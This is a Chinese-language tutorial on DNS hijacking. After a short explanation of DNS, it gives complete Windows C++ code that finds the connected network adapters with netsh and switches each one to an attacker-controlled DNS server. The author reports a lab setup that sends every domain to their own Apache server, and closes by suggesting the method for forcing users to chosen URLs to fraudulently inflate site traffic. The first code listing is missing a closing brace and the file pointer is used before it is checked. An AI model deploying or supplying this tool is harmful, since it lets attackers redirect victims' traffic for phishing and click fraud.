#C/C++实现DNS劫持
什么是DNS？
每个IP地址都可以有一个主机名，主机名由一个或多个字符串组成，字符串之间用小数点隔开。有了主机名，就不要死记硬背每台IP设备的IP地址，只要记住相对直观有意义的主机名就行了。这就是DNS协议的功能。
主机名到IP地址的映射有两种方式：
1）静态映射，每台设备上都配置主机到IP地址的映射，各设备独立维护自己的映射表，而且只供本设备使用；
2）动态映射，建立一套域名解析系统（DNS），只在专门的DNS服务器上配置主机到IP地址的映射，网络上需要使用主机名通信的设备，首先需要到DNS服务器查询主机所对应的IP地址。 [1]
通过主机名，最终得到该主机名对应的IP地址的过程叫做域名解析（或主机名解析）。在解析域名时，可以首先采用静态域名解析的方法，如果静态域名解析不成功，再采用动态域名解析的方法。可以将一些常用的域名放入静态域名解析表中，这样可以大大提高域名解析效率
什么是DNS劫持?
DNS劫持又称域名劫持，是指在劫持的网络范围内拦截域名解析的请求，分析请求的域名，把审查范围以外的请求放行，否则返回假的IP地址或者什么都不做使请求失去响应，其效果就是对特定的网络不能访问或访问的是假网址。
DNS（域名系统）的作用是把网络地址（域名，以一个字符串的形式）对应到真实的计算机能够识别的网络地址（IP地址），以便计算机能够进一步通信，传递网址和内容等。由于域名劫持往往只能在特定的被劫持的网络范围内进行，所以在此范围外的域名服务器(DNS)能够返回正常的IP地址，高级用户可以在网络设置把DNS指向这些正常的域名服务器以实现对网址的正常访问。所以域名劫持通常相伴的措施——封锁正常DNS的IP。
C/C++实现DNS劫持：
程序所需头文件和命名空间：
#include <iostream>
#include <string>
#include <windows.h>
#include <stdlib.h>
#include <list>
#include <io.h>
using namespace std;
获取本机可用网卡：
void Get_using_interface()
{
system("netsh interface show interface > interface_info.txt");
FILE* fp = fopen("interface_info.txt", "rb");
const int file_size = filelength(fileno(fp));
char* buff = (char*)malloc(sizeof(char)*file_size);
if (fp) {
fread(buff, 1, file_size, fp);
str = buff;
free(buff);
replaceA_to_B(str, "-------------------------------------------------------------------------\r\n", "");
Split(str, "\r\n", interface_using);
Spilt_space(interface_using);
}
}
void Spilt_space(list<string> list_str) {
for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {
cout << *itor << endl;
string::size_type first_variable = (*itor).find("已启用");
string::size_type second_variable = (*itor).find("已连接");
string::size_type third_variable = (*itor).find("专用");
if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {
string info = *itor;
last_get_interface_using.push_back(info.substr(55,info.length()));
}
}
}
void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
std::size_t found = S.find(A);
while (std::string::npos != found) {
S.replace(found, A.length(), B);
found = S.find(A, found + 1);
void Split(const string& src, const string& separator, list<string>& dest)
{
string str = src;
string substring;
string::size_type start = 0, index;
dest.clear();
index = str.find_first_of(separator, start);
do
{
if (index != string::npos)
{
substring = str.substr(start, index - start);
dest.push_back(substring);
start = index + separator.size();
index = str.find(separator, start);
if (start == string::npos) break;
}
} while (index != string::npos);
//the last part
substring = str.substr(start);
dest.push_back(substring);
}
构造函数实现：
DNS_Hijack(string DNS="192.168.1.233")
{
Get_using_interface();
for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)
{
string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS;
cout << str;
system(str.c_str());
}
}
完整代码：
#include <iostream>
#include <string>
#include <windows.h>
#include <stdlib.h>
#include <list>
#include <io.h>
using namespace std;
class DNS_Hijack {
private:
list<string> interface_using; //获取本地可用网卡
list<string> last_get_interface_using;
private:
string str; //存储文件读取后的内容
string DNS;
private:
void Get_using_interface()
{
system("netsh interface show interface > interface_info.txt");
FILE* fp = fopen("interface_info.txt", "rb");
const int file_size = filelength(fileno(fp));
char* buff = (char*)malloc(sizeof(char)*file_size);
if (fp) {
fread(buff, 1, file_size, fp);
str = buff;
free(buff);
replaceA_to_B(str, "-------------------------------------------------------------------------\r\n", "");
Split(str, "\r\n", interface_using);
Spilt_space(interface_using);
}
}
private:
void Spilt_space(list<string> list_str) {
for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {
cout << *itor << endl;
string::size_type first_variable = (*itor).find("已启用");
string::size_type second_variable = (*itor).find("已连接");
string::size_type third_variable = (*itor).find("专用");
if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {
string info = *itor;
last_get_interface_using.push_back(info.substr(55,info.length()));
}
}
}
private:
void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
std::size_t found = S.find(A);
while (std::string::npos != found) {
S.replace(found, A.length(), B);
found = S.find(A, found + 1);
}
}
private:
void Split(const string& src, const string& separator, list<string>& dest)
{
string str = src;
string substring;
string::size_type start = 0, index;
dest.clear();
index = str.find_first_of(separator, start);
do
{
if (index != string::npos)
{
substring = str.substr(start, index - start);
dest.push_back(substring);
start = index + separator.size();
index = str.find(separator, start);
if (start == string::npos) break;
}
} while (index != string::npos);
//the last part
substring = str.substr(start);
dest.push_back(substring);
}
public:
DNS_Hijack(string DNS="192.168.1.233")
{
Get_using_interface();
for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)
{
string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS;
cout << str;
system(str.c_str());
}
}
};
int main()
{
DNS_Hijack* one = new DNS_Hijack("192.168.1.20");
system("pause");
return 0;
}
现在我在虚拟机win2003，ip地址为：192.168.1.20中搭建了一台DNS服务器，并将所有域名的请求都解析到我内网中的一台搭建了Apache服务器上。
这个时候我的请求就会通过我内网中的DNS服务器解析成我Apache服务器的地址。
也就是说真正的百度的ip我们已经无法得到，通过nslookup也可以看出，DNS被劫持。
实验效果：
我们也可以通过这种方法让用户访问特定的URL从而实现恶意刷取网站PE量的效果。
